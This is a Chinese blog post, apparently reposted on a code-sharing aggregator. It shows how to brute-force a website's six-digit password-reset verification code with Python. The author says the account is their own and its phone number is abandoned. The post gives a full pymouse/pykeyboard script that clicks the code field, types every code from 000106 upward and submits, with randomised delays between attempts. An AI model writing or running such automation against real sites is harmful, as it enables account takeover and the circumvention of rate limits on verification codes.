我是靠谱客的博主 疯狂猫咪,最近开发中收集的这篇文章主要介绍使用python暴力破解验证码一、需求介绍二、破解思路三、python模拟鼠标和键盘操作四、具体代码,觉得挺不错的,现在分享给大家,希望可以做个参考。
概述
一、需求介绍
今天遇到一个棘手的问题,就是之前注册某网站的手机号码已经被我弃用了,我也忘记了密码,而改密码需要验证码,验证码发送之后,却接受不到。所以我需要暴力破解。
二、破解思路
验证码是六位数字,所以一共有100万种可能,我想采用暴力法进行破解,先人肉破解,大概分成以下几个步骤:
- 点击验证码输入框
- 退格键删除之前错误的验证码
- 输入新的验证码
- 点击提交按钮
依次循环,直到验证码正确打开网站。人肉输入显然太累了,所以我们需要脚本
三、python模拟鼠标和键盘操作
我Baidu了一下,发现python中有pymouse和pykeyboard这两个库,于是兴奋的我就迫不及待的开始了尝试,然而编程的道路永远是波澜曲折,在安装时就会遇到问题,具体的问题我就不展开了,参考这篇博客可以解决No module named 'windows’的问题;再参考这篇博客,我们可以得到这两个库的常见使用方法。因为验证码是字符串,所以我们还需要把数字转换为头部补零的字符串,这个操作可以参考这篇博客。
四、具体代码
有了这些知识,再加上一些随机函数,我们就可以把代码写出来了,具体代码如下:
from pymouse import PyMouse # 模拟鼠标
from pykeyboard import PyKeyboard # 模拟键盘
import time
import random
def get_time_interval():
return random.random()*0.1+0.1
def get_waiting_time():
return random.random()*1+4
# 定义实例
mouse = PyMouse()
keyboard = PyKeyboard()
time_interval = 0.1
for i in range(106,1000000):
vericode = '{:0>6d}'.format(i)
print(vericode)
mouse.click(800,530,button=1,n=1)#button=1表示左键,n=1表示单击
time.sleep(get_time_interval())
keyboard.tap_key(keyboard.backspace_key,n=6)
time.sleep(get_time_interval())
keyboard.type_string(vericode)
mouse.click(1000,940,button=1,n=1)
time.sleep(get_waiting_time())
运行之后,我们就看到这样的效果:
接下来就是蛮长的等待了,毕竟100万个码,要等到猴年马月了。[捂脸]
最后
以上就是疯狂猫咪为你收集整理的使用python暴力破解验证码一、需求介绍二、破解思路三、python模拟鼠标和键盘操作四、具体代码的全部内容,希望文章能够帮你解决使用python暴力破解验证码一、需求介绍二、破解思路三、python模拟鼠标和键盘操作四、具体代码所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复